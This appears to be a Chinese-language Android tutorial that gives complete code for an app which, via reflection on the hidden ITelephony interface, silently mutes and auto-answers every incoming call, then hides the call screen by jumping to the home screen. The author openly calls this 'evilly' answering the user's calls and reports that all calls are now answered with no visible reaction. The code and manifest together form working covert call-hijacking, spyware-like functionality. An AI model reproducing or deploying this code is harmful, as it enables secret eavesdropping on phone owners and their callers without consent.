推荐安卓开发神器（里面有各种UI特效和android代码库实例）
首先 建一个工程
insertTel
建一个com.Android.internal.telephony的包
把系统的源码里的ITelephony.aidl拷贝进来
如下
ITelephony.aidl

Mostly this is used by the * TelephonyManager class. A few places are still using this directly. * Please clean them up if possible and use TelephonyManager insteadl. * * {@hide} */interface ITelephony { /** * Dial a number. This doesn't place the call. It displays * the Dialer screen. * @param number the number to be dialed.

Blocks until a result is determined. * @param pin The pin to check. * @return whether the operation was a success. */ boolean supplyPin(String pin); /** * Handles PIN MMI commands (PIN/PIN2/PUK/PUK2), which are initiated * without SEND (so <code>dial</code> is not appropriate). * * @param dialString the MMI command to be executed. * @return true if MMI command is executed. */ boolean handlePinMmi(String dialString); /** * Toggles the radio on or off. */ void toggleRadioOnOff(); /** * Set the radio to on or off */ boolean setRadio(boolean turnOn); /** * Request to update location information in service state */ void updateServiceLocation(); /** * Enable location update notifications. */ void enableLocationUpdates(); /** * Disable location update notifications. */ void disableLocationUpdates(); /** * Enable a specific APN type. */ int enableApnType(String type); /** * Disable a specific APN type. */ int disableApnType(String type); /** * Allow mobile data connections. */ boolean enableDataConnectivity(); /** * Disallow mobile data connections. */ boolean disableDataConnectivity(); /** * Report whether data connectivity is possible. */ boolean isDataConnectivityPossible(); Bundle getCellLocation(); /** * Returns the neighboring cell information of the device. */ int getCallState(); int getDataActivity(); int getDataState(); /** * Returns the current active phone type as integer. * Returns TelephonyManager.PHONE_TYPE_CDMA if RILConstants.CDMA_PHONE * and TelephonyManager.PHONE_TYPE_GSM if RILConstants.GSM_PHONE */ int getActivePhoneType(); /** * Returns the CDMA ERI icon index to display */ int getCdmaEriIconIndex(); /** * Returns the CDMA ERI icon mode, * 0 - ON * 1 - FLASHING */ int getCdmaEriIconMode(); /** * Returns the CDMA ERI text, */ String getCdmaEriText(); /** * Returns true if CDMA provisioning needs to run. */ boolean getCdmaNeedsProvisioning(); /** * Returns the unread count of voicemails */ int getVoiceMessageCount(); /** * Returns the network type */ int getNetworkType(); /** * Return true if an ICC card is present */ boolean hasIccCard();} 然后建一个包
zy.phone
下面做反射调用
PhoneUtils.java
package zy.phone; import java.lang.reflect.Field; import java.lang.reflect.Method; import Android.telephony.TelephonyManager; import Android.util.Log; public class PhoneUtils { /** * 从TelephonyManager中实例化ITelephony，并返回 */ static public com.Android.internal.telephony.ITelephony getITelephony(TelephonyManager telMgr) throws Exception { Method getITelephonyMethod = telMgr.getClass().getDeclaredMethod("getITelephony"); getITelephonyMethod.setAccessible(true);//私有化函数也能使用 return (com.Android.internal.telephony.ITelephony)getITelephonyMethod.invoke(telMgr); } static public void printAllInform(Class clsShow) { try { // 取得所有方法 Method[] hideMethod = clsShow.getDeclaredMethods(); int i = 0; for (; i < hideMethod.length; i++) { Log.e("method name", hideMethod[i].getName()); } // 取得所有常量 Field[] allFields = clsShow.getFields(); for (i = 0; i < allFields.length; i++) { Log.e("Field name", allFields[i].getName()); } } catch (SecurityException e) { // throw new RuntimeException(e.getMessage()); e.printStackTrace(); } catch (IllegalArgumentException e) { // throw new RuntimeException(e.getMessage()); e.printStackTrace(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } } 然后用一个BroadcastReceiver监听电话
邪恶地用接电话接用户电话
tp.java
package zy.phone;import java.util.Timer;import java.util.TimerTask;import Android.app.Service;import Android.content.BroadcastReceiver; import Android.content.Context;import Android.content.Intent;import Android.os.RemoteException;import Android.telephony.TelephonyManager;import Android.util.Log;public class tp extends BroadcastReceiver { Context mcontext; TimerTask task = new TimerTask() { public void run() { Intent i = new Intent(Intent.ACTION_MAIN); i.addCategory(Intent.CATEGORY_HOME); i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); mcontext.startActivity(i); Log.i("bbb", "bbb"); } }; @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub mcontext = context; TelephonyManager tm = (TelephonyManager) context .getSystemService(Service.TELEPHONY_SERVICE); switch (tm.getCallState()) { case TelephonyManager.CALL_STATE_RINGING:// 来电响铃 try { // String phoneNumber = intent.getStringExtra("incoming_number"); PhoneUtils.getITelephony(tm).silenceRinger();// 静铃 PhoneUtils.getITelephony(tm).answerRingingCall();// 自动接听 Timer timer = new Timer(); timer.schedule(task, 300); } catch (RemoteException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); }// 挂断 break;// 响铃 case TelephonyManager.CALL_STATE_OFFHOOK: // 来电接通 去电拨出 break;// 摘机 case TelephonyManager.CALL_STATE_IDLE: // 来去电电话挂断 break;// 挂机 } }} 这样就对所有电话都接了
然后主包就是一个什么都没有的测试Activity
包zy.test
test.java
package zy.test;import Android.app.Activity;import Android.os.Bundle;public class test extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); }} 最后记得再AndroidManifest.xml里加上BroadcastReceiver和权限声明
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:Android="http://schemas.android.com/apk/res/android" package="zy.test" Android:versionCode="1" Android:versionName="1.0"> <application Android:icon="@drawable/icon" android:label="@string/app_name"> <activity Android:name=".test" Android:label="@string/app_name"> <intent-filter> <action Android:name="android.intent.action.MAIN" /> <category Android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver Android:name="zy.phone.tp" android:priority="10000" android:permission="android.permission.READ_PHONE_STATE"> <intent-filter> <action Android:name="android.intent.action.PHONE_STATE" /> </intent-filter> </receiver> </application> <uses-sdk Android:minSdkVersion="3" /> <uses-permission Android:name="android.permission.INTERNET"/> <uses-permission Android:name="android.permission.MODIFY_PHONE_STATE" /> </manifest>
OK 大功告成
试试现在电话都将被接听，没有反应
